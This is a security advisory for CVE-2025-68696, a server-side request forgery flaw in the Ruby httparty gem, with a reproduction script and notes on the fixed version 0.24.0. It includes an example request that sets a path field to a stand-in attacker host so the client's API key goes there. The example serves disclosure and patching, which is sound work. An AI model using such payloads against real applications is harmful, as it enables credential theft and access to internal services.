Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
PoC
Follow these steps to reproduce the issue:
Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &Create a script (for example,
main.rb):require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts dataRun the script:
$ ruby main.rb this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2025-68696 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.24.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-68696? CVE-2025-68696 is a high-severity server-side request forgery (SSRF) vulnerability in httparty (rubygems), affecting versions <= 0.23.2. It is fixed in 0.24.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2025-68696? CVE-2025-68696 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of httparty are affected by CVE-2025-68696? httparty (rubygems) versions <= 0.23.2 is affected.
- Is there a fix for CVE-2025-68696? Yes. CVE-2025-68696 is fixed in 0.24.0. Upgrade to this version or later.
- Is CVE-2025-68696 exploitable, and should I be worried? Whether CVE-2025-68696 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-68696 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-68696? Upgrade
httpartyto 0.24.0 or later.